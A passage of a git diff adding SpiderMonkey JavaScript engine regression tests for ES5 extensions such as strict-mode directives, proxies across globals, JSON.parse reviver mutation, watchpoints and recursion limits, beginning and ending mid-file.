+ "contradict the actually-used semantics";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+options("strict");
+options("werror");
+
+function evaluateNoRval(code)
+{
+ evaluate(code, { isRunOnce: true, noScriptRval: true });
+}
+
+function expectSyntaxError(code)
+{
+ try
+ {
+ evaluateNoRval(code);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "should have thrown a SyntaxError, instead got:\n" +
+ " " + e + "\n" +
+ "when evaluating:\n" +
+ " " + code);
+ }
+}
+
+expectSyntaxError("function f1() {} 'use strict'; function f2() {}");
+expectSyntaxError("function f3() { var x; 'use strict'; }");
+
+if (isAsmJSCompilationAvailable())
+ expectSyntaxError("function f4() {} 'use asm'; function f5() {}");
+expectSyntaxError("function f6() { var x; 'use strict'; }");
+if (isAsmJSCompilationAvailable())
+ expectSyntaxError("'use asm'; function f7() {}");
+
+// No errors expected -- useless non-directives, but not contrary to used
+// semantics.
+evaluateNoRval("'use strict'; function f8() {} 'use strict'; function f9() {}");
+evaluateNoRval("'use strict'; function f10() { var z; 'use strict' }");
+
+if (isAsmJSCompilationAvailable()) {
+ try {
+ evaluateNoRval("function f11() { 'use asm'; return {}; }");
+ } catch(e) {
+ if (!e.toString().includes("Successfully compiled asm.js code"))
+ throw e;
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/nested-delete-name-in-evalcode.js b/js/src/tests/ecma_5/extensions/nested-delete-name-in-evalcode.js
new file mode 100644
index 000000000..7dfab0458
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/nested-delete-name-in-evalcode.js
@@ -0,0 +1,85 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 616294;
+var summary =
+ "|delete x| inside a function in eval code, where that eval code includes " +
+ "|var x| at top level, actually does delete the binding for x";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var f;
+
+function testOuterLet()
+{
+ return eval("let x; (function() { return delete x; })");
+}
+
+f = testOuterLet();
+
+assertEq(f(), false); // can't delete lexical declarations => false
+
+
+function testOuterForLet()
+{
+ return eval("for (let x; false; ); (function() { return delete x; })");
+}
+
+f = testOuterForLet();
+
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterForInLet()
+{
+ return eval("for (let x in {}); (function() { return delete x; })");
+}
+
+f = testOuterForInLet();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterNestedVarInForLet()
+{
+ return eval("for (let q = 0; q < 5; q++) { var x; } (function() { return delete x; })");
+}
+
+f = testOuterNestedVarInForLet();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // there => true
+
+
+function testArgumentShadowLet()
+{
+ return eval("let x; (function(x) { return delete x; })");
+}
+
+f = testArgumentShadowLet();
+
+assertEq(f(), false); // non-configurable argument => false
+
+
+function testFunctionLocal()
+{
+ return eval("(function() { let x; return delete x; })");
+}
+
+f = testFunctionLocal();
+
+assertEq(f(), false); // defined by function code => not configurable => false
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/extensions/preventExtensions-cross-global.js b/js/src/tests/ecma_5/extensions/preventExtensions-cross-global.js
new file mode 100644
index 000000000..0cc68e0fb
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/preventExtensions-cross-global.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs newGlobal()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'preventExtensions-cross-global.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 789897;
+var summary =
+ "Object.preventExtensions and Object.isExtensible should work correctly " +
+ "across globals";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var otherGlobal = newGlobal();
+
+var obj = {};
+assertEq(otherGlobal.Object.isExtensible(obj), true);
+assertEq(otherGlobal.Object.preventExtensions(obj), obj);
+assertEq(otherGlobal.Object.isExtensible(obj), false);
+
+var objFromOther = otherGlobal.Object();
+assertEq(Object.isExtensible(objFromOther), true);
+assertEq(Object.preventExtensions(objFromOther), objFromOther);
+assertEq(Object.isExtensible(objFromOther), false);
+
+var proxy = new Proxy({}, {});
+assertEq(otherGlobal.Object.isExtensible(proxy), true);
+assertEq(otherGlobal.Object.preventExtensions(proxy), proxy);
+assertEq(otherGlobal.Object.isExtensible(proxy), false);
+
+var proxyFromOther = otherGlobal.evaluate("new Proxy({}, {})");
+assertEq(Object.isExtensible(proxyFromOther), true);
+assertEq(Object.preventExtensions(proxyFromOther), proxyFromOther);
+assertEq(Object.isExtensible(proxyFromOther), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/proxy-array-target-length-definition.js b/js/src/tests/ecma_5/extensions/proxy-array-target-length-definition.js
new file mode 100644
index 000000000..c573c4ba0
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/proxy-array-target-length-definition.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'proxy-array-target-length-definition.js';
+var BUGNUMBER = 905947;
+var summary =
+ "Redefining an array's |length| property when redefining the |length| " +
+ "property on a proxy with an array as target";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+var p = new Proxy(arr, {});
+
+function assertThrowsTypeError(f)
+{
+ try {
+ f();
+ assertEq(false, true, "Must have thrown");
+ } catch (e) {
+ assertEq(e instanceof TypeError, true, "Must have thrown TypeError");
+ }
+}
+
+// Redefining non-configurable length should throw a TypeError
+assertThrowsTypeError(function () { Object.defineProperty(p, "length", { value: 17, configurable: true }); });
+
+// Same here.
+assertThrowsTypeError(function () { Object.defineProperty(p, "length", { value: 42, enumerable: true }); });
+
+// Check the property went unchanged.
+var pd = Object.getOwnPropertyDescriptor(p, "length");
+assertEq(pd.value, 0);
+assertEq(pd.writable, true);
+assertEq(pd.enumerable, false);
+assertEq(pd.configurable, false);
+
+var ad = Object.getOwnPropertyDescriptor(arr, "length");
+assertEq(ad.value, 0);
+assertEq(ad.writable, true);
+assertEq(ad.enumerable, false);
+assertEq(ad.configurable, false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/proxy-enumeration.js b/js/src/tests/ecma_5/extensions/proxy-enumeration.js
new file mode 100644
index 000000000..f872d635d
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/proxy-enumeration.js
@@ -0,0 +1,4 @@
+var list = Object.getOwnPropertyNames(this);
+var found = list.indexOf("Proxy") != -1;
+assertEq(found, true)
+reportCompare(true, true)
diff --git a/js/src/tests/ecma_5/extensions/proxy-strict.js b/js/src/tests/ecma_5/extensions/proxy-strict.js
new file mode 100644
index 000000000..9dc969685
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/proxy-strict.js
@@ -0,0 +1,12 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var s = "grape";
+function f() { "use strict"; return this; }
+var p = new Proxy(f, {});
+String.prototype.p = p;
+assertEq(s.p(), "grape");
+
+reportCompare(true,true);
diff --git a/js/src/tests/ecma_5/extensions/regress-bug567606.js b/js/src/tests/ecma_5/extensions/regress-bug567606.js
new file mode 100644
index 000000000..6bebc8063
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/regress-bug567606.js
@@ -0,0 +1,19 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var global = this;
+
+(function() {
+ function f() {
+ this.b = function() {};
+ Object.defineProperty(this, "b", ({
+ configurable: global.__defineSetter__("", function() {})
+ }));
+ }
+ for (y of [0]) {
+ _ = new f();
+ }
+})();
+uneval(this);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/regress-bug607284.js b/js/src/tests/ecma_5/extensions/regress-bug607284.js
new file mode 100644
index 000000000..7d2c4921d
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/regress-bug607284.js
@@ -0,0 +1,16 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if ("evalcx" in this) {
+ var sandbox = evalcx("");
+ var obj = { get foo() { throw("FAIL"); } };
+ var getter = obj.__lookupGetter__("foo");
+ var desc = sandbox.Object.getOwnPropertyDescriptor(obj, "foo");
+ reportCompare(desc.get, getter, "getter is correct");
+ reportCompare(desc.set, undefined, "setter is correct");
+}
+else {
+ reportCompare(true, true);
+}
diff --git a/js/src/tests/ecma_5/extensions/regress-bug629723.js b/js/src/tests/ecma_5/extensions/regress-bug629723.js
new file mode 100644
index 000000000..6c826e0c2
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/regress-bug629723.js
@@ -0,0 +1,16 @@
+function f(foo) {
+ "use strict";
+ foo.bar;
+}
+
+var actual;
+try {
+ f();
+ actual = "no error";
+} catch (x) {
+ actual = (x instanceof TypeError) ? "type error" : "some other error";
+ actual += (/use strict/.test(x)) ? " with directive" : " without directive";
+}
+
+reportCompare("type error without directive", actual,
+ "decompiled expressions in error messages should not include directive prologues");
diff --git a/js/src/tests/ecma_5/extensions/reviver-mutates-holder-array-ccw.js b/js/src/tests/ecma_5/extensions/reviver-mutates-holder-array-ccw.js
new file mode 100644
index 000000000..e51e19903
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/reviver-mutates-holder-array-ccw.js
@@ -0,0 +1,39 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901351;
+var summary = "Behavior when the JSON.parse reviver mutates the holder array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var proxyObj = null;
+
+var arr = JSON.parse('[0, 1]', function(prop, v) {
+ if (prop === "0")
+ {
+ proxyObj = newGlobal().evaluate("({ c: 17, d: 42 })");
+ this[1] = proxyObj;
+ }
+ return v;
+});
+
+assertEq(arr[0], 0);
+assertEq(arr[1], proxyObj);
+assertEq(arr[1].c, 17);
+assertEq(arr[1].d, 42);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/reviver-mutates-holder-array-nonnative.js b/js/src/tests/ecma_5/extensions/reviver-mutates-holder-array-nonnative.js
new file mode 100644
index 000000000..de4ad7032
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/reviver-mutates-holder-array-nonnative.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901380;
+var summary = "Behavior when JSON.parse walks over a non-native object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var typedArray = null;
+
+var observedTypedArrayElementCount = 0;
+
+var arr = JSON.parse('[0, 1]', function(prop, v) {
+ if (prop === "0" && Array.isArray(this)) // exclude typedArray[0]
+ {
+ typedArray = new Int8Array(1);
+ this[1] = typedArray;
+ }
+ if (this instanceof Int8Array)
+ {
+ assertEq(prop, "0");
+ observedTypedArrayElementCount++;
+ }
+ return v;
+});
+
+assertEq(arr[0], 0);
+assertEq(arr[1], typedArray);
+
+assertEq(observedTypedArrayElementCount, 1);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/reviver-mutates-holder-array.js b/js/src/tests/ecma_5/extensions/reviver-mutates-holder-array.js
new file mode 100644
index 000000000..f4f89ac0a
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/reviver-mutates-holder-array.js
@@ -0,0 +1,39 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901351;
+var summary = "Behavior when the JSON.parse reviver mutates the holder array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var proxyObj = null;
+
+var arr = JSON.parse('[0, 1]', function(prop, v) {
+ if (prop === "0")
+ {
+ proxyObj = new Proxy({ c: 17, d: 42 }, {});
+ this[1] = proxyObj;
+ }
+ return v;
+});
+
+assertEq(arr[0], 0);
+assertEq(arr[1], proxyObj);
+assertEq(arr[1].c, 17);
+assertEq(arr[1].d, 42);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/reviver-mutates-holder-object-ccw.js b/js/src/tests/ecma_5/extensions/reviver-mutates-holder-object-ccw.js
new file mode 100644
index 000000000..546a57e91
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/reviver-mutates-holder-object-ccw.js
@@ -0,0 +1,56 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901351;
+var summary = "Behavior when the JSON.parse reviver mutates the holder object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// A little trickiness to account for the undefined-ness of property
+// enumeration order.
+var first = "unset";
+
+var proxyObj = null;
+
+var obj = JSON.parse('{ "a": 0, "b": 1 }', function(prop, v) {
+ if (first === "unset")
+ {
+ first = prop;
+ var second = (prop === "a") ? "b" : "a";
+
+ proxyObj = newGlobal().evaluate("({ c: 42, d: 17 })");
+ Object.defineProperty(this, second, { value: proxyObj });
+ }
+ return v;
+});
+
+if (first === "a")
+{
+ assertEq(obj.a, 0);
+ assertEq(obj.b, proxyObj);
+ assertEq(obj.b.c, 42);
+ assertEq(obj.b.d, 17);
+}
+else
+{
+ assertEq(obj.a, proxyObj);
+ assertEq(obj.a.c, 42);
+ assertEq(obj.a.d, 17);
+ assertEq(obj.b, 1);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/reviver-mutates-holder-object-nonnative.js b/js/src/tests/ecma_5/extensions/reviver-mutates-holder-object-nonnative.js
new file mode 100644
index 000000000..1300f8dd0
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/reviver-mutates-holder-object-nonnative.js
@@ -0,0 +1,60 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901380;
+var summary = "Behavior when JSON.parse walks over a non-native object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// A little trickiness to account for the undefined-ness of property
+// enumeration order.
+var first = "unset";
+
+var observedTypedArrayElementCount = 0;
+
+var typedArray = null;
+
+var obj = JSON.parse('{ "a": 0, "b": 1 }', function(prop, v) {
+ if (first === "unset")
+ {
+ first = prop;
+ var second = (prop === "a") ? "b" : "a";
+ typedArray = new Int8Array(1);
+ Object.defineProperty(this, second, { value: typedArray });
+ }
+ if (this instanceof Int8Array)
+ {
+ assertEq(prop, "0");
+ observedTypedArrayElementCount++;
+ }
+ return v;
+});
+
+if (first === "a")
+{
+ assertEq(obj.a, 0);
+ assertEq(obj.b, typedArray);
+}
+else
+{
+ assertEq(obj.a, typedArray);
+ assertEq(obj.b, 1);
+}
+
+assertEq(observedTypedArrayElementCount, 1);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/reviver-mutates-holder-object.js b/js/src/tests/ecma_5/extensions/reviver-mutates-holder-object.js
new file mode 100644
index 000000000..973766e9a
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/reviver-mutates-holder-object.js
@@ -0,0 +1,56 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901351;
+var summary = "Behavior when the JSON.parse reviver mutates the holder object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// A little trickiness to account for the undefined-ness of property
+// enumeration order.
+var first = "unset";
+
+var proxyObj = null;
+
+var obj = JSON.parse('{ "a": 0, "b": 1 }', function(prop, v) {
+ if (first === "unset")
+ {
+ first = prop;
+ var second = (prop === "a") ? "b" : "a";
+
+ proxyObj = new Proxy({ c: 42, d: 17 }, {});
+ Object.defineProperty(this, second, { value: proxyObj });
+ }
+ return v;
+});
+
+if (first === "a")
+{
+ assertEq(obj.a, 0);
+ assertEq(obj.b, proxyObj);
+ assertEq(obj.b.c, 42);
+ assertEq(obj.b.d, 17);
+}
+else
+{
+ assertEq(obj.a, proxyObj);
+ assertEq(obj.a.c, 42);
+ assertEq(obj.a.d, 17);
+ assertEq(obj.b, 1);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/shell.js b/js/src/tests/ecma_5/extensions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/shell.js
diff --git a/js/src/tests/ecma_5/extensions/strict-function-statements.js b/js/src/tests/ecma_5/extensions/strict-function-statements.js
new file mode 100644
index 000000000..e6dc15139
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/strict-function-statements.js
@@ -0,0 +1,94 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// Ordinary function definitions should be unaffected.
+assertEq(testLenientAndStrict("function f() { }",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+// Lambdas are always permitted within blocks.
+assertEq(testLenientAndStrict("{ (function f() { }) }",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+// Function statements within unbraced blocks are forbidden in strict mode code.
+// They are allowed only under if statements in sloppy mode.
+assertEq(testLenientAndStrict("if (true) function f() { }",
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("while (true) function f() { }",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("do function f() { } while (true);",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("for(;;) function f() { }",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("for(x in []) function f() { }",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("with(o) function f() { }",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("switch(1) { case 1: function f() { } }",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+assertEq(testLenientAndStrict("x: function f() { }",
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("try { function f() { } } catch (x) { }",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+// Lambdas are always permitted within any sort of statement.
+assertEq(testLenientAndStrict("if (true) (function f() { })",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+// Function statements are permitted in blocks within lenient functions.
+assertEq(parsesSuccessfully("function f() { function g() { } }"),
+ true);
+
+// Function statements are permitted in if statement within lenient functions.
+assertEq(parsesSuccessfully("function f() { if (true) function g() { } }"),
+ true);
+
+assertEq(parseRaisesException(SyntaxError)
+ ("function f() { 'use strict'; if (true) function g() { } }"),
+ true);
+
+assertEq(parsesSuccessfully("function f() { 'use strict'; { function g() { } } }"),
+ true);
+
+assertEq(parsesSuccessfully("function f() { 'use strict'; if (true) (function g() { }) }"),
+ true);
+
+assertEq(parsesSuccessfully("function f() { 'use strict'; { (function g() { }) } }"),
+ true);
+
+// Eval should behave the same way. (The parse-only tests use the Function constructor.)
+assertEq(testLenientAndStrict("function f() { }",
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict("{ function f() { } }",
+ completesNormally,
+ completesNormally),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/strict-function-toSource.js b/js/src/tests/ecma_5/extensions/strict-function-toSource.js
new file mode 100644
index 000000000..6d9b68560
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/strict-function-toSource.js
@@ -0,0 +1,17 @@
+/*
+ * Bug 800407 - Functions defined with Function construcor
+ * do have strict mode when JSOPTION_STRICT_MODE is on.
+ */
+
+options("strict_mode");
+function testRunOptionStrictMode(str, arg, result) {
+ var strict_inner = new Function('return typeof this == "undefined";');
+ return strict_inner;
+}
+let inner = testRunOptionStrictMode();
+assertEq(inner(), true);
+assertEq(eval(uneval(inner))(), true);
+
+assertEq((new Function('x', 'return x*2;')).toSource().includes('"use strict"'), false);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/strict-option-redeclared-parameter.js b/js/src/tests/ecma_5/extensions/strict-option-redeclared-parameter.js
new file mode 100644
index 000000000..5a36b6947
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/strict-option-redeclared-parameter.js
@@ -0,0 +1,30 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 630770;
+var summary =
+ 'Correctly warn about duplicate parameters when the strict option is enabled';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Verify that duplicate parameters, with the strict option set, don't provoke
+// an assertion. Ideally we'd also verify that we warn exactly once per
+// duplicated parameter name, but at present there's no way to test that
+// without more effort (further customizing the shell JSErrorReporter) than we
+// want to make now.
+options("strict");
+eval("function a(x, x, x, x) { }");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/extensions/string-literal-getter-setter-decompilation.js b/js/src/tests/ecma_5/extensions/string-literal-getter-setter-decompilation.js
new file mode 100644
index 000000000..a0a571405
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/string-literal-getter-setter-decompilation.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var f;
+try
+{
+ f = eval("(function literalInside() { return { set 'c d e'(v) { } }; })");
+}
+catch (e)
+{
+ assertEq(true, false,
+ "string-literal property name in setter in object literal in " +
+ "function statement failed to parse: " + e);
+}
+
+var fstr = "" + f;
+assertEq(fstr.indexOf("set") < fstr.indexOf("c d e"), true,
+ "should be using new-style syntax with string literal in place of " +
+ "property identifier");
+assertEq(fstr.indexOf("setter") < 0, true, "using old-style syntax?");
+
+var o = f();
+var ostr = "" + o;
+assertEq("c d e" in o, true, "missing the property?");
+assertEq("set" in Object.getOwnPropertyDescriptor(o, "c d e"), true,
+ "'c d e' property not a setter?");
+// disabled because we still generate old-style syntax here (toSource
+// decompilation is as yet unfixed)
+// assertEq(ostr.indexOf("set") < ostr.indexOf("c d e"), true,
+// "should be using new-style syntax when getting the source of a " +
+// "getter/setter while decompiling an object");
+// assertEq(ostr.indexOf("setter") < 0, true, "using old-style syntax?");
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/toLocaleString-infinite-recursion.js b/js/src/tests/ecma_5/extensions/toLocaleString-infinite-recursion.js
new file mode 100644
index 000000000..a11433ce4
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/toLocaleString-infinite-recursion.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 653789;
+var summary = 'Check for too-deep stack when calling toLocaleString';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ "" + { toString: Object.prototype.toLocaleString };
+ throw new Error("should have thrown on over-recursion");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/extensions/toSource-infinite-recursion.js b/js/src/tests/ecma_5/extensions/toSource-infinite-recursion.js
new file mode 100644
index 000000000..2ddcaa752
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/toSource-infinite-recursion.js
@@ -0,0 +1,34 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 650574;
+var summary = 'Check for too-deep stack when converting a value to source';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ var e = Error('');
+ e.fileName = e;
+ e.toSource();
+ throw new Error("should have thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown for over-recursion");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/extensions/watch-array-length.js b/js/src/tests/ecma_5/extensions/watch-array-length.js
new file mode 100644
index 000000000..e9b356efa
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/watch-array-length.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var hitCount;
+function watcher(p,o,n) { hitCount++; return n; }
+
+var a = [1];
+a.watch('length', watcher);
+hitCount = 0;
+a.length = 0;
+reportCompare(1, hitCount, "lenient; configurable: watchpoint hit");
+
+var b = Object.defineProperty([1],'0',{configurable:false});
+b.watch('length', watcher);
+hitCount = 0;
+var result;
+try {
+ b.length = 0;
+ result = "no error";
+} catch (x) {
+ result = x.toString();
+}
+reportCompare(1, hitCount, "lenient; non-configurable: watchpoint hit");
+reportCompare(1, b.length, "lenient; non-configurable: length unchanged");
+reportCompare("no error", result, "lenient; non-configurable: no error thrown");
+
+var c = Object.defineProperty([1],'0',{configurable:false});
+c.watch('length', watcher);
+hitCount = 0;
+var threwTypeError;
+try {
+ (function(){'use strict'; c.length = 0;})();
+ threwTypeError = false;
+} catch (x) {
+ threwTypeError = x instanceof TypeError;
+}
+reportCompare(1, hitCount, "strict; non-configurable: watchpoint hit");
+reportCompare(1, c.length, "strict; non-configurable: length unchanged");
+reportCompare(true, threwTypeError, "strict; non-configurable: TypeError thrown");
diff --git a/js/src/tests/ecma_5/extensions/watch-inherited-property.js b/js/src/tests/ecma_5/extensions/watch-inherited-property.js
new file mode 100644
index 000000000..1a0ad566b
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/watch-inherited-property.js
@@ -0,0 +1,38 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Create a prototype object with a setter property. */
+var protoSetterCount;
+var proto = ({ set x(v) { protoSetterCount++; } });
+
+/* Put a watchpoint on that setter. */
+var protoWatchCount;
+proto.watch('x', function() { protoWatchCount++; });
+
+/* Make an object with the above as its prototype. */
+function C() { }
+C.prototype = proto;
+var o = new C();
+
+/*
+ * Set a watchpoint on the property in the inheriting object. We have
+ * defined this to mean "duplicate the property, setter and all, in the
+ * inheriting object." I don't think debugging observation mechanisms
+ * should mutate the program being run, but that's what we've got.
+ */
+var oWatchCount;
+o.watch('x', function() { oWatchCount++; });
+
+/*
+ * Assign to the property. This should trip the watchpoint on the inheriting object and
+ * the setter.
+ */
+protoSetterCount = protoWatchCount = oWatchCount = 0;
+o.x = 1;
+assertEq(protoWatchCount, 0);
+assertEq(oWatchCount, 1);
+assertEq(protoSetterCount, 1);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/watch-replaced-setter.js b/js/src/tests/ecma_5/extensions/watch-replaced-setter.js
new file mode 100644
index 000000000..05cf60aff
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/watch-replaced-setter.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
